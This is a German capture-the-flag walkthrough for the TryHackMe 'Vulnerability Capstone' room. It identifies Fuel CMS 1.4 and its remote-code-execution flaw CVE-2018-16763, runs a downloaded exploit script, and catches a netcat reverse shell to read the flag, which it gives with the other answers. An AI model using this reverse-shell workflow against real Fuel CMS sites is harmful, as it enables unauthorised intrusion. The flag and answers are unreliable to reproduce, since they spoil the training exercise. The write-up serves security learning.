https://tryhackme.com/room/vulnerabilitycapstone

Task 1 Introduction

Keine Fragen in diesem Task.

Task 2 Exploit the Machine (Flag Submission)

Frage 1:
What is the name of the application running on the vulnerable machine?

Als Erstes öffnen wir die IP der Machine in unserem Browser:

Antwort 1:
Fuel CMS

Frage 2:
What is the version number of this application?

Das können wir aus der geöffneten Website ablesen.

Antwort 2:
1.4

Frage 3:
What is the number of the CVE that allows an attacker to remotely execute code on this application?

Auch hier können wir uns auf Google verlassen. Wir suchen nach „Fuel CMS 1.4 Remote Code Execution CVE“ und finden die Lösung im ersten Ergebnis.

Antwort 3:
CVE-2018-16763

Frage 4:
What is the value of the flag located on this vulnerable machine? This is located in /home/ubuntu on the vulnerable machine.

Da alle Exploits auf Exploit-DB Fehler angezeigt haben und/oder ich sie nicht zum laufen gebracht habe, musste ich nach einer anderen Lösung suchen. Auf Github wurde ich dann fündig. Nachdem wir den Exploit heruntergeladen haben starten wir ihn direkt. Wir müssen die Machine IP und einen Port angeben, denn wir benötigen auch einen Listener:

└─$ python3 fuel-cms.py 10.10.37.130

In einem anderen Terminal starten wir den Listener:

└─$ nc -lvnp 1234         
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

Jetzt starten wir den Exploit, indem wir shell_me eingeben, gefolgt von unserer IP mit Port:

└─$ python3 fuel-cms.py 10.10.37.130      

 ______         _ _____ ___  ___ _____                                                                                                                           
|  ___|        | /  __ \|  \/  |/  ___|                                                                                                                          
| |_ _   _  ___| | /  \/| .  . |\ `--.                                                                                                                           
|  _| | | |/ _ \ | |    | |\/| | `--. \                                                                                                                          
| | | |_| |  __/ | \__/\| |  | |/\__/ /                                                                                                                          
\_|  \__,_|\___|_|\____/\_|  |_/\____/                                                                                                                           
Tested on 1.4                                                                                                                                                    
Created by Ac1d                                                                                                                                                  

        Menu                                                                                                                                                     
                                                                                                                                                                 
exit     -      Exit app                                                                                                                                         
shell_me -      Get a reverse shell (netcat)                                                                                                                     
help     -      Show this help                                                                                                                                   
                                                                                                                                                                 
fuelCMS$ shell_me
Enter your attacking machine IP:PORT $ UNSERE_IP:1234

Zurück zu unserem Listener und wir haben unsere Reverse Shell. Lassen wir uns den Inhalt der Flag anzeigen:

└─$ nc -lvnp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.37.130.
Ncat: Connection from 10.10.37.130:52558.
/bin/sh: 0: can't access tty; job control turned off
$ ls
README.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt
$ cd /home/ubuntu
$ ls
flag.txt
$ cat flag.txt
THM{ACKME_BLOG_HACKED}
$ 

Antwort 4:
THM{ACKME_BLOG_HACKED}